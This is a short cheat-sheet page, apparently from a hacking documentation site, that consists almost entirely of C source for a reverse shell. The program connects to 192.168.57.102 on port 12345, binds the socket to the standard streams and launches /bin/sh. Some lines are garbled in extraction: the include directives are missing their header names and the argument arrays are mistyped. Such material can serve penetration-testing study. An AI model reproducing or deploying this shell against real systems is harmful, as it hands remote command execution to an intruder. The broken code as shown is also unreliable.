c-language-reverse-shell

C-LANGUAGE-REVERSE-SHELL

include

include

include

include

include <sys/types.h>

include <sys/socket.h>

include <netinet/in.h>

int main(void) { int sockfd; int lportno = 12345; struct sockaddr_in serv_addr; char const params[] = {"/bin/sh",NULL}; char const environ[] = {NULL};

sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr("192.168.57.102");
serv_addr.sin_port = htons(lportno);  
connect(sockfd, (struct sockaddr *) &serv_addr, 16);

dup2(sockfd,0);
dup2(0,1);
dup2(0,2);
execve("/bin/sh",params,environ);

}

Last updated

Was this helpful?